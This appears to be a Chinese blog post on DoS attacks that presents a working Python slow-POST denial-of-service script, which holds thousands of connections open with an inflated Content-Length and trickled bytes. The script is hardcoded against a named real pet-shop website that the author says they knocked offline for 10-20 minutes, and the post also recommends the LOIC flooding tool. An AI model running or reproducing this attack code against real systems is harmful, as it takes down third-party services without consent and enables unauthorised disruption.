当前位置: 首页 > news >正文

DoS攻击实现/压力测试

      DoS攻击,即Denial of Service攻击(拒绝服务攻击).

      DDoS攻击,Distributed Denial of Service(分布式拒绝服务攻击)

       看到网上很多人把DoS攻击错认为DDoS攻击,并且DoS攻击和DOS操作系统是没有任何关系的,只不过凑巧缩写的字母一样,后者是Disk Operating System(磁盘操作系统)

 

       借鉴网上的python—Dos攻击程序,在Python3.7运行

      去搞一个宠物网站,开始攻击之后一段时间还是可以访问的,但过一会就访问不了了,但可以ping通。停止攻击之后反应有延迟,大概10-20分钟之后才能打开网页

import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.bjlovedog.com"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s" % ex)
            time.sleep(10)
#end def

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())

conn_th.start()
send_th.start()

截图掠影:

 

攻击时:

攻击后过一会就又能成功访问了(大概10-20分钟之后)

参考链接:

https://blog.csdn.net/jeepxiaozi/article/details/8799684

或者采用一款软件:LOIC (Low Orbit Ion Cannon 低轨道粒子加农炮)

操作简单,很强劲

相关文章:

  • XSS攻击的简单实现
  • gcc 中-O1 -O2 -O3 优化的原理
  • 人工智能实践:Tensorflow笔记(一):人工智能概述
  • Python相关知识
  • 人工智能实践:Tensorflow笔记(二):TensorFlow框架
  • HTTPS 与 SSL
  • Windows的口令文件SAM
  • Windows组策略
  • Windows启动文件夹与设置开机自启动脚本/软件开机自启
  • Windows任务计划程序
  • WSH和FSO
  • Windows修改注册表实现开机自启动
  • ActiveX
  • 操作系统市场份额
  • desktop.ini和folder.htt
  • 77. Combinations
  • Git的一些常用操作
  • PAT A1050
  • Vue官网教程学习过程中值得记录的一些事情
  • weex踩坑之旅第一弹 ~ 搭建具有入口文件的weex脚手架
  • 对象管理器(defineProperty)学习笔记
  • 基于webpack 的 vue 多页架构
  • 开放才能进步!Angular和Wijmo一起走过的日子
  • 码农张的Bug人生 - 初来乍到
  • 区块链技术特点之去中心化特性
  • 什么是Javascript函数节流?
  • ​flutter 代码混淆
  • ​html.parser --- 简单的 HTML 和 XHTML 解析器​
  • ​猴子吃桃问题:每天都吃了前一天剩下的一半多一个。
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • #Java第九次作业--输入输出流和文件操作
  • #Linux杂记--将Python3的源码编译为.so文件方法与Linux环境下的交叉编译方法
  • (2020)Java后端开发----(面试题和笔试题)
  • (笔记)Kotlin——Android封装ViewBinding之二 优化
  • (笔试题)分解质因式
  • (第8天)保姆级 PL/SQL Developer 安装与配置
  • (已更新)关于Visual Studio 2019安装时VS installer无法下载文件,进度条为0,显示网络有问题的解决办法
  • (原創) 如何讓IE7按第二次Ctrl + Tab時,回到原來的索引標籤? (Web) (IE) (OS) (Windows)...
  • (转) ns2/nam与nam实现相关的文件
  • (转)C#调用WebService 基础
  • (转)Unity3DUnity3D在android下调试
  • **CI中自动类加载的用法总结
  • *p=a是把a的值赋给p,p=a是把a的地址赋给p。
  • .cfg\.dat\.mak(持续补充)
  • .chm格式文件如何阅读
  • .NET 4.0网络开发入门之旅-- 我在“网” 中央(下)
  • .NET Core工程编译事件$(TargetDir)变量为空引发的思考
  • .Net Winform开发笔记(一)
  • .net 桌面开发 运行一阵子就自动关闭_聊城旋转门家用价格大约是多少,全自动旋转门,期待合作...
  • .NET基础篇——反射的奥妙
  • /usr/bin/env: node: No such file or directory
  • @EventListener注解使用说明
  • @RequestMapping 的作用是什么?
  • [ C++ ] 继承
  • [2019.3.5]BZOJ1934 [Shoi2007]Vote 善意的投票